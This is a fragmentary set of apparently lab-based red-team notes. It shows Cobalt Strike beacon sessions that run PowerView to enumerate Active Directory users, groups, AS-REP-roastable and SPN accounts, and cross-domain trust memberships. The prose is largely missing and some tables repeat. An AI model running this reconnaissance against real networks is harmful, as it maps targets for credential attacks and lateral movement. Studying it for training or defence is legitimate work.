

PowerView powershell-import powershell powerpick

```
beacon> powershell-import powerview.ps1
[*] Tasked beacon to import: /opt/framework/cobaltstrike4.3/powerview.ps1
[+] host called home, sent: 143784 bytes
beacon> powershell get-netuser -identity serveradm | select samaccountname,description
[*] Tasked beacon to run: get-netuser -identity serveradm | select samaccountname,description
[+] host called home, sent: 449 bytes
[+] received output:
#< CLIXML

samaccountname description
-----
serveradm

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0">
beacon> powerpick get-netuser -identity serveradm | select samaccountname,description
[*] Tasked beacon to run: get-netuser -identity serveradm | select samaccountname,description (unmanaged)
[+] host called home, sent: 134777 bytes
[+] received output:

samaccountname description
-----
serveradm
```

Web02	white-bird.local	white-bird.local	raven-med.local	prod	web01	white-
bird\serveradm	PROD	Main	Web01	Linux	Linux	

```
beacon> powershell get-netuser -domain prod.raven-med.local | select samaccountname
[*] Tasked beacon to run: get-netuser -domain prod.raven-med.local | select samaccountname
[+] host called home, sent: 441 bytes
[+] received output:
#< CLIXML

samaccountname
-----
Administrator
Guest
krbtgt
sql_service
app_security
network_security
alice
harold
backup_operator
john
newman
jim
carl
fusco
```

```
Get-NetUser | select description
```

```
beacon> powershell get-netuser | select samaccountname,description
[*] Tasked beacon to run: get-netuser | select samaccountname,description
[+] host called home, sent: 397 bytes
[+] received output:
#< CLIXML
```

samaccountname	description
Administrator	Built-in account for administering the computer/domain
Guest	Built-in account for guest access to the computer/domain
krbtgt	Key Distribution Center Service Account
sql_service	
macro	
serveradm	
wanh	
vanderha	
joe	
condrey	
bobby	

raven-med.local

```
beacon> powershell get-netuser -domain raven-med.local | select samaccountname,description
[*] Tasked beacon to run: get-netuser -domain raven-med.local | select samaccountname,description
[+] host called home, sent: 457 bytes
[+] received output:
#< CLIXML
```

samaccountname	description
Administrator	Built-in account for administering the computer/domain
Guest	Built-in account for guest access to the computer/domain
krbtgt	Key Distribution Center Service Account
simon	CA Manager
jason	
carrot	
michael	
rayleigh	
kaku	
winslow	

simon CA Manager simon CA simon CertManager

```
beacon> powershell get-netuser -domain raven-med.local -identity simon | select samaccountname,memberof
[*] Tasked beacon to run: get-netuser -domain raven-med.local -identity simon | select samaccountname,memberof
[+] host called home, sent: 493 bytes
[+] received output:
#< CLIXML
```

samaccountname	memberof
simon	CN=CertManager,OU=Groups,DC=raven-med,DC=local

ASREPROasting krb5asrep AD

```
Get-NetUser -PreAuthNotRequired
```

```
beacon> powershell get-netuser -preauthnotrequired | select samaccountname
[*] Tasked beacon to run: get-netuser -preauthnotrequired | select samaccountname
[+] host called home, sent: 417 bytes
[+] received output:
#< CLIXML
<ObjS Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress"
```

jason

```
beacon> powershell get-netuser -preauthnotrequired -domain raven-med.local | select samaccountname
[*] Tasked beacon to run: get-netuser -preauthnotrequired -domain raven-med.local | select samaccountname
[+] host called home, sent: 481 bytes
[+] received output:
#< CLIXML

samaccountname
-----
jason
```

SPN

Kerberos Hosting krb5tgt

```
Get-NetUser -SPN
```

sql_service	krbtgt	SPN	sql_service	SQL	krbtgt	SPN
-------------	--------	-----	-------------	-----	--------	-----

```
beacon> powershell get-netuser -spn | select samaccountname
[*] Tasked beacon to run: get-netuser -spn | select samaccountname
[+] host called home, sent: 377 bytes
[+] received output:
#< CLIXML

samaccountname
-----
krbtgt
sql_service
```

” ”

```
Get-NetUser | select samaccountname, memberof
```

BloodHound ()

serveradm **Server Admin**

```

beacon> powershell Get-NetUser -identity serveradm | select samaccount,memberof
[*] Tasked beacon to run: Get-NetUser -identity serveradm | select samaccount,memberof
[+] host called home, sent: 433 bytes
[+] received output:
#< CLIXML

samaccount memberof
-----
CN=Server Admin,CN=Users,DC=white-bird,DC=local

```

Server Admin Web02 Dev01 serveradm 2

(root Administrator)

```

beacon> powershell Get-NetGroup -identity "Server Admin"
[*] Tasked beacon to run: Get-NetGroup -identity "Server Admin"
[+] host called home, sent: 369 bytes
[+] received output:
#< CLIXML

groupype           : GLOBAL_SCOPE, SECURITY
name               : Server Admin
samaccounttype     : GROUP_OBJECT
samaccountname     : Server Admin
whenchanged       : 2/14/2023 12:20:23 AM
objectsid         : S-1-5-21-2387957962-993181570-3566323574-1605
objectclass       : {top, group}
cn                : Server Admin
usnchanged        : 32233
dscorepropagationdata : 1/1/1601 12:00:00 AM
description        : Manage Web02 and Dev01 server.
distinguishedname : CN=Server Admin,CN=Users,DC=white-bird,DC=local
member            : CN=serveradm,CN=Users,DC=white-bird,DC=local
usncreated        : 32228
whencreated       : 2/14/2023 12:19:52 AM
instancetype      : 4
objectguid        : 3740237a-1e20-4cf3-a92f-21ce8de696af
objectcategory    : CN=Group,CN=Schema,CN=Configuration,DC=white-bird,DC=local

```

Get-DomainForeignUser

```

beacon> powershell Get-DomainForeignUser
[*] Tasked beacon to run: Get-DomainForeignUser
[+] host called home, sent: 325 bytes
[+] received output:
#< CLIXML
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress"
beacon> powershell Get-DomainForeignUser -domain Prod.raven-med.local
[*] Tasked beacon to run: Get-DomainForeignUser -domain Prod.raven-med.local
[+] host called home, sent: 405 bytes
[+] received output:
#< CLIXML
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress"
beacon> powershell Get-DomainForeignUser -domain raven-med.local
[*] Tasked beacon to run: Get-DomainForeignUser -domain raven-med.local
[+] host called home, sent: 393 bytes
[+] received output:

```

raven-med.local michael ExtAdmin ExtAdmin External Administrator michael

```
beacon> powershell Get-NetUser -identity michael -domain raven-med.local | select samaccountname,memberof
[*] Tasked beacon to run: Get-NetUser -identity michael -domain raven-med.local | select samaccountname,memberof
[+] host called home, sent: 501 bytes
[+] received output:
#< CLIXML

samaccountname memberof
-----
michael          CN=ExtAdmin,OU=Groups,DC=raven-med,DC=local
```

```
beacon> powershell Get-NetGroup -identity ExtAdmin -domain raven-med.local
[*] Tasked beacon to run: Get-NetGroup -identity ExtAdmin -domain raven-med.local
[+] host called home, sent: 417 bytes
[+] received output:
#< CLIXML

usncreated           : 39977
groupype             : GLOBAL_SCOPE, SECURITY
samaccounttype       : GROUP_OBJECT
samaccountname       : ExtAdmin
wheneverchanged      : 1/29/2023 5:14:42 PM
objectsid            : S-1-5-21-3775014555-2484002919-2799327105-1607
objectclass          : {top, group}
cn                   : ExtAdmin
usnchanged           : 39983
dscorepropagationdata : {1/29/2023 5:14:42 PM, 1/1/1601 12:00:00 AM}
name                 : ExtAdmin
distinguishedname     : CN=ExtAdmin,OU=Groups,DC=raven-med,DC=local
member               : CN=michael,CN=Users,DC=raven-med,DC=local
whencreated          : 1/29/2023 5:14:22 PM
instancetype         : 4
objectguid           : 7ce14d1a-3316-466d-a2aa-84450ec4ff8d
objectcategory       : CN=Group,CN=Schema,CN=Configuration,DC=raven-med,DC=local
```

```
Get-NetGroup | select samaccountname,description
```

```
beacon> powershell get-netgroup | select samaccountname,description
[*] Tasked beacon to run: get-netgroup | select samaccountname,description
[+] host called home, sent: 401 bytes
[+] received output:
#< CLIXML

samaccountname      description
-----
Administrators      Administrators have complete and unrestricted access to the computer/domain
Users               Users are prevented from making accidental or intentional system-wide change...
Guests              Guests have the same access as members of the Users group by default, except...
Print Operators     Members can administer printers installed on domain controllers
Backup Operators    Backup Operators can override security restrictions for the sole purpose of ...
Replicator          Supports file replication in a domain
Remote Desktop Users Members in this group are granted the right to logon remotely
Network Configuration Operators Members in this group can have some administrative privileges to manage conf...
Performance Monitor Users Members of this group can access performance counter data locally and remotely
Performance Log Users Members of this group may schedule logging of performance counters, enable t...
Distributed COM Users Members are allowed to launch, activate and use Distributed COM objects on t...
IIS_IUSRS           Built-in group used by Internet Information Services.
Cryptographic Operators Members are authorized to perform cryptographic operations.
Event Log Readers   Members of this group can read event logs from local machine
Certificate Service DCOM Access Members of this group are allowed to connect to Certification Authorities in...
RDS Remote Access Servers Servers in this group enable users of RemoteApp programs and personal virtua...
RDS Endpoint Servers Servers in this group run virtual machines and host sessions where users Rem...
RDS Management Servers Servers in this group can perform routine administrative actions on servers ...
Hyper-V Administrators Members of this group have complete and unrestricted access to all features ...
Access Control Assistance Operators Members of this group can remotely query authorization attributes and permis...
Remote Management Users Members of this group can access WMI resources over management protocols (su...
Storage Replica Administrators Members of this group have complete and unrestricted access to all features ...
Domain Computers   All workstations and servers joined to the domain
Domain Controllers All domain controllers in the domain
Schema Admins      Designated administrators of the schema
```

raven-medicine.local Cert Manager

```
Domain Admins      Designated administrators of the domain
Domain Users       All domain users
Domain Guests      All domain guests
Group Policy Creator Owners Members in this group can modify group policy for the domain
RAS and IAS Servers Servers in this group can access remote access properties of users
Server Operators   Members can administer domain servers
Account Operators  Members can administer domain user and group accounts
Pre-Windows 2000 Compatible Access A backward compatibility group which allows read access on all users and gro...
Incoming Forest Trust Builders Members of this group can create incoming, one-way trusts to this forest
Windows Authorization Access Group Members of this group have access to the computed tokenGroupsGlobalAndUniver...
Terminal Server License Servers Members of this group can update user accounts in Active Directory with info...
Allowed RODC Password Replication Group Members in this group can have their passwords replicated to all read-only d...
Denied RODC Password Replication Group Members in this group cannot have their passwords replicated to any read-onl...
Read-only Domain Controllers Members of this group are Read-Only Domain Controllers in the domain
Enterprise Read-only Domain Controllers Members of this group are Read-Only Domain Controllers in the enterprise
Cloneable Domain Controllers Members of this group that are domain controllers may be cloned.
Protected Users    Members of this group are afforded additional protections against authentica...
Key Admins         Members of this group can perform administrative actions on key objects with...
Enterprise Key Admins Members of this group can perform administrative actions on key objects with...
DnsAdmins          DNS Administrators Group
DnsUpdateProxy     DNS clients who are permitted to perform dynamic updates on behalf of some o...
CertManager        A group of CA managers.
ExtAdmin
```

Server Admins SQL

Server Admin

```
Enterprise Read-only Domain Controllers Members of this group are Read-Only Domain Controllers in the enterprise
Cloneable Domain Controllers          Members of this group that are domain controllers may be cloned.
Protected Users                       Members of this group are afforded additional protections against authentica...
Key Admins                           Members of this group can perform administrative actions on key objects with...
Enterprise Key Admins                 Members of this group can perform administrative actions on key objects with...
DnsAdmins                            DNS Administrators Group
DnsUpdateProxy                       DNS clients who are permitted to perform dynamic updates on behalf of some o...
Server Admin                          Manage Web02 and Dev01 server.
```

Terminal Server License Servers	Members of this group can update user accounts in Active Directory with info...
Allowed RODC Password Replication Group	Members in this group can have their passwords replicated to all read-only d...
Denied RODC Password Replication Group	Members in this group cannot have their passwords replicated to any read-onl...
Read-only Domain Controllers	Members of this group are Read-Only Domain Controllers in the domain
Cloneable Domain Controllers	Members of this group that are domain controllers may be cloned.
Protected Users	Members of this group are afforded additional protections against authentica...
Key Admins	Members of this group can perform administrative actions on key objects with...
DnsAdmins	DNS Administrators Group
DnsUpdateProxy	DNS clients who are permitted to perform dynamic updates on behalf of some o...
Security Team	

raven-medicine.local**CertManager ExtAdm**

Enterprise Key Admins	Members of this group can perform administrative actions on key objects with...
DnsAdmins	DNS Administrators Group
DnsUpdateProxy	DNS clients who are permitted to perform dynamic updates on behalf of some o...
CertManager	A group of CA managers.
ExtAdmin	

Get-DomainForeignGroupMember

```
beacon> powershell get-domainforeigngroupmember
[*] Tasked beacon to run: get-domainforeigngroupmember
[+] host called home, sent: 345 bytes
[+] received output:
#< CLIXML
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj
```

PROD

PROD RAVEN-MED

```
beacon> powershell get-domainforeigngroupmember -domain prod.raven-med.local
[*] Tasked beacon to run: get-domainforeigngroupmember -domain prod.raven-med.local
[+] host called home, sent: 425 bytes
[+] received output:
#< CLIXML

GroupDomain      : prod.raven-med.local
GroupName        : Administrators
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=prod,DC=raven-med,DC=local
MemberDomain     : raven-med.local
MemberName       : Enterprise Admins
MemberDistinguishedName : CN=Enterprise Admins,OU=Groups,DC=raven-med,DC=local

GroupDomain      : prod.raven-med.local
GroupName        : Denied RODC Password Replication Group
GroupDistinguishedName : CN=Denied RODC Password Replication Group,OU=Groups,DC=prod,DC=raven-med,DC=local
MemberDomain     : raven-med.local
MemberName       : Enterprise Admins
MemberDistinguishedName : CN=Enterprise Admins,OU=Groups,DC=raven-med,DC=local

GroupDomain      : prod.raven-med.local
GroupName        : Denied RODC Password Replication Group
GroupDistinguishedName : CN=Denied RODC Password Replication Group,OU=Groups,DC=prod,DC=raven-med,DC=local
MemberDomain     : raven-med.local
MemberName       : Schema Admins
MemberDistinguishedName : CN=Schema Admins,OU=Groups,DC=raven-med,DC=local
```


Revision #9

Created 5 September 2022 03:04:08 by

Updated 16 May 2023 16:38:07 by